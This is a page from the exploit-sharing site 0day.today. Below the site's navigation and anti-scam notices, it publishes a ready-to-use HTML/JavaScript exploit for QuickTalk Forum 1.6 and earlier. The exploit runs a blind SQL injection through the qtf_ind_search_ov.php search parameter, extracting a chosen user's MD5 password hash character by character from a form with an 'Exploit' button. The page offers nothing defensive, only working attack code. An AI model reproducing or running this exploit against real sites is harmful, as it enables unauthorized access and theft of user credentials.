0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
QuickTalk Forum <= 1.6 Remote Blind SQL Injection Exploit
[=========================================================
QuickTalk Forum <= 1.6 Remote Blind SQL Injection Exploit
=========================================================
<html>
<head>
<title>QuickTalk Forum <= 1.6 Blind SQL Injection Exploit</title>
<script language="Javascript" type="text/javascript">
/*
-----------------------------------------------------------------------------------------------
- QuickTalk Forum Blind SQL Injection Exploit (qtf_ind_search_ov.php) -
- Info ---------------------------------------------------------------------------------------
- Author: t0pP8uZz & xprog -----------------------------------------------------------
----------------------------------------------------------------------------------------------
- Passwords ARE IN MD5 ----------------------------------------------------
- Peace -----------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------
*/
var site, uid, res = "";
function Start() {
site = document.getElementById("site").value;
uid = document.getElementById("pid").value;
document.getElementById("output").value = "Exploiting, Please Wait..";
Main(1, 48);
}
function Main(substr, num) {
var xmlhttp = false;
var url = site+"/qtf_ind_search_ov.php?a=user&id=1 and ASCII(SUBSTRING((SELECT pwd FROM qtiuser WHERE id="+uid+" LIMIT 0,1),"+substr+",1))="+num+"/*";
try {
xmlhttp = new XMLHttpRequest();
} catch(e) { alert("Unsupported Browser! Run Exploit In Mozilla Firefox!"); }
if(xmlhttp) {
netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
xmlhttp.onreadystatechange = function() {
if(xmlhttp.readyState == 4) {
var content = xmlhttp.responseText;
var ele = document.getElementById("output");
if(!content.match(/0 Found/i)) {
res += String.fromCharCode(num);
ele.value = res;
num = 48;
substr++;
}
else {
if(num == 59) { num = 96; }
else { num++; }
}
if(res.length >= 32) { alert("Exploitation Successfull!. Admin MD5 Hash: "+res); return true; }
Main(substr, num)
}
};
xmlhttp.open("GET", url, true);
xmlhttp.send(null);
}
}
</script>
<style type="text/css">
<!--
.style1{color: #CC0000}
.style2 { color: #000000; font-size: 12px;}
.style3 {color: #FF0000; font-weight: bold; font-size: 12px; }
.style4 {color: #FF0000; font-size: 10px;}
-->
</style>
</head>
<body>
<p class="style1">- QuickTalk Forum <= 1.6 Blind SQL Injection Exploit -</p>
<p class="style2">Site: <input type="text" id="site" /> (URL to QuickTalk Forum site ie: http://www.site.com/quicktalkforum)</p>
<p class="style2">User: <input type="text" id="pid" /> (UserID of the user you want the MD5 hash too.)</p>
<p class="style2"><input type="button" onclick="Start();" id="button" value="Exploit" /></p>
<p class="style3">Output (MD5 Hash): <input type="text" id="output" size="100" /></p> (Do not touch untill exploit says its done)
<p class="style2">Notes: QuickTalk Forum uses the MD5 algorithms to encrypt passwords</p>
<p class="style4">Coded By t0pP8uZz - h4ck-y0u.org</p>
</body>
</html>
# 0day.today [2024-12-24] #